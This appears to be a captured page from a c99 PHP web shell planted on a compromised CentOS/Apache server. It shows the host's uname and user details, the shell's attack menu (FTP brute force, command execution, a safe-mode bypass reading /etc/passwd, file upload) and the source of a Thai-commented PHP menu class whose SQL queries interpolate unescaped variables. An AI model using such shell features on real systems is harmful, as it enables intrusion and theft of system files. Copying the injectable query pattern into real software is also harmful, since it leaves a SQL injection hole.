!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ums/   drwxr-xr-x
Free 51.22 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsUmMenu.php (6.19 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class ummenu--------------------------
//--PK of ummenu ::
//    1. MnID
class ummenu extends clsDB{

var 
$result;

var 
$MnStID;
var 
$MnID;
var 
$MnSeq;
var 
$MnIcon;
var 
$MnNameT;
var 
$MnNameE;
var 
$MnURL;
var 
$MnDesc;
var 
$MnToolbar;
var 
$MnToolbarSeq;
var 
$MnToolbarIcon;
var 
$MnParentMnID;
var 
$MnLevel;

function 
ummenu(&$c){
    
$this->c=$c->c
    
$this->DB=$c->db;
}

function 
Save(){
//--ใช้เมธอดนี้เมื่อต้องการบันทึกข้อมูลในอ๊อบเจ๊กเข้าสู่ฐานข้อมูล
//--โดยจะตรวจสอบสถานะของข้อมูลว่าข้อมูลในอ๊อบเจ๊กเป็นข้อมูลใหม่หรือข้อมูลเดิม
//--1 เป็นข้อมูลใหม่  2 เป็นข้อมูลเดิม
    
$pMnID = ($this->MnParentMnID=="")? 'NULL' $this->MnParentMnID;
    if (
$this->status==1){
        
$this->MnID=$this->GetNextCode();
        
$this->MnSeq $this->MnID;
        
//$mxSeq = $this->GetMaxSeqByParentMenuID($this->MnParentMnID);
        
$sql "insert into ummenu values(
                    '$this->MnStID', 
                    '$this->MnID', 
                    '$this->MnSeq', 
                    '$this->MnIcon', 
                    '$this->MnNameT', 
                    '$this->MnNameE', 
                    '$this->MnURL', 
                    '$this->MnDesc', 
                    '$this->MnToolbar', 
                    '$this->MnToolbarSeq', 
                    '$this->MnToolbarIcon', 
                    $pMnID, 
                    '$this->MnLevel')"
;
    }else {
        
$sql "update ummenu set 
                    MnStID='$this->MnStID', 
                    MnSeq='$this->MnSeq', 
                    MnIcon='$this->MnIcon', 
                    MnNameT='$this->MnNameT', 
                    MnNameE='$this->MnNameE', 
                    MnURL='$this->MnURL', 
                    MnDesc='$this->MnDesc', 
                    MnToolbar='$this->MnToolbar', 
                    MnToolbarSeq='$this->MnToolbarSeq', 
                    MnToolbarIcon='$this->MnToolbarIcon', 
                    MnParentMnID=$pMnID, 
                    MnLevel='$this->MnLevel'  
                    where MnID='$this->MnID'"
;
    }
    return 
$this->Dml($sql);
}

function 
Delete(){
//--ใช้เมธอดนี้เพื่อลบข้อมูลเดิมในอ๊อบเจ๊ก
//--เป็นการลบข้อมูลทีละ 1 เรคอร์ด
//--ต้องเรียกเมธอดตามลำดับดังนี้ SearchByKey()-->GetRecord()-->Delete()
    
return $this->Dml("delete from ummenu where MnID='$this->MnID'");
}

function 
GetNextCode(){
//--ใช้เมธอดนี้เพื่อหาค่าสูงสุดของฟิลด์ที่ใช้เป็นคีย์ของตาราง ในลักษณะ auto increment
//--ต้องเป็นฟิลด์ที่ไม่ได้กำหนดรหัสเองทางจอภาพ
    
$this->SetQuery("select max(MnID) as num from ummenu where MnStID=$this->MnStID");
    if (
$result=$this->GetResult()) {
        if (
$result['num'] < $this->MnStID*10000){
            return 
$this->MnStID*10000+1;
        } else {
            return 
$result['num']+1;
        }
    }
}

function 
RSummenu(){
//--เมธอดที่ขึ้นต้นด้วย RS (Result Set) มีความหมายว่าจะได้รับข้อมูลกลับมาจากการ select มากกว่า 1 เรคอร์ด
//--ปกติเมื่อเรียกใช้เมธอด RSxxxx จะต้องเรียกเมธอด GetRecord() ด้วยเสมอ
//--โดยสามารถเพิ่มเมธอดได้ตามต้องการ แต่ต้องขึ้นต้นด้วย RS
    
$this->SetQuery("select * from ummenu order by MnID");
}

function 
GetRecord(){
//--เป็นเมธอดที่นำข้อมูลจาก ResultSet มากำหนดให้กับแอตทริบิวต์ของอ๊อบเจ็ก
//--เรียก GetRecord() หนึ่งครั้ง จะเลื่อนตัวชี้เรคอร์ดไปอีกหนึ่งเรคอร์ด
    
if ($this->result $this->GetResult()) {
        
$this->MnStID $this->result['MnStID'];
        
$this->MnID $this->result['MnID'];
        
$this->MnSeq $this->result['MnSeq'];
        
$this->MnIcon $this->result['MnIcon'];
        
$this->MnNameT $this->result['MnNameT'];
        
$this->MnNameE $this->result['MnNameE'];
        
$this->MnURL $this->result['MnURL'];
        
$this->MnDesc $this->result['MnDesc'];
        
$this->MnToolbar $this->result['MnToolbar'];
        
$this->MnToolbarSeq $this->result['MnToolbarSeq'];
        
$this->MnToolbarIcon $this->result['MnToolbarIcon'];
        
$this->MnParentMnID $this->result['MnParentMnID'];
        
$this->MnLevel $this->result['MnLevel'];
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByKey($xKey){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from ummenu where MnID= '$xKey'")){ 
        return 
1;
    }else {
        return 
0;
    }
}
//****************** You can add new functions below **********************//
function DeleteBySt($StID){
    return 
$this->Dml("delete from ummenu where MnStID='$StID'");
}

function 
RSMainMenuBySt($StID){
    
$sql "select * 
                    from ummenu 
                    where MnStID=$StID and (MnParentMnID=0 OR MnParentMnID IS NULL)
                    order by MnIcon, MnParentMnID, MnSeq"
;
    
$this->SetQuery($sql);
}

function 
RSmenuByParentMn($MnID){
    
$sql "select * from ummenu where MnParentMnID=$MnID order by mnseq";
    
$this->SetQuery($sql);
}

function 
GetMaxSeqByParentMenuID($ParentMnID){
    
$sql="select max(MnSeq) as num 
            from ummenu 
            where MnParentMnID='$ParentMnID'"
;
    
$this->SetQuery($sql);
    if (
$result=$this->GetResult()) {
        if (
$result['NUM']=="")
            return 
1;
        else
            return 
$result['NUM']+1;
    }
}
////////////////
function hasSubMenu($pmnID){
    
$this->SetQuery("select count(*) as num from ummenu where MnParentMnID='$pmnID'");
    
$result=$this->GetResult();
    return 
$result['num'];
}
function 
numMenuInSameParent($pmnID){
    
$this->SetQuery("select count(*) as num from ummenu where MnParentMnID='$pmnID'");
    
$result=$this->GetResult();
    return 
$result['num'];
}
function 
getMinSeq($pmnID){
    
$this->SetQuery("select min(MnSeq) as num from ummenu where MnParentMnID='$pmnID'");
    
$result=$this->GetResult(); 
    return 
$result['num'];
}
function 
getMaxSeq($pmnID){
    
$this->SetQuery("select max(MnSeq) as num from ummenu where MnParentMnID='$pmnID'");
    
$result=$this->GetResult();
    return 
$result['num'];
}
function 
swapMenu($ud$MnStID$MnID$MnSeq$PmnID$MnLevel){
    
//echo "---$ud, $MnStID, $MnID, $MnSeq, $PmnID, $MnLevel===";
    
if($ud=="u"){
        
$sql="select MnID, MnSeq from ummenu where MnParentMnID='$PmnID' and MnSeq<'$MnSeq' and MnLevel='$MnLevel' order by MnSeq Desc limit 0,1";
        
$this->SetQuery($sql);
        
$result=$this->GetResult();
        
$upMnId $result['MnID'] ;
        
$upMnSeq $result['MnSeq'] ;
        
$sql="update ummenu set MnSeq='$MnSeq' where MnID='$upMnId' ";
        
$this->Dml($sql);
        
$sql="update ummenu set MnSeq='$upMnSeq' where MnID='$MnID' ";
        
$this->Dml($sql);        
    }    
    if(
$ud=="d"){
        
$sql="select MnID, MnSeq from ummenu where MnParentMnID='$PmnID' and MnSeq>'$MnSeq' and MnLevel='$MnLevel' order by MnSeq  limit 0,1";
        
$this->SetQuery($sql);
        
$result=$this->GetResult();
        
$dnMnId $result['MnID'] ;
        
$dnMnSeq $result['MnSeq'] ;
        
$sql="update ummenu set MnSeq='$MnSeq' where MnID='$dnMnId' ";
        
$this->Dml($sql);
        
$sql="update ummenu set MnSeq='$dnMnSeq' where MnID='$MnID' ";
        
$this->Dml($sql);
    }    
}

function 
setMenuSeq($mnID$seq){
    
$sql="update ummenu set MnSeq=$seq where MnID=$mnID";
    
$this->SetQuery($sql);    
}

//--End class ummenu--
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0073 ]--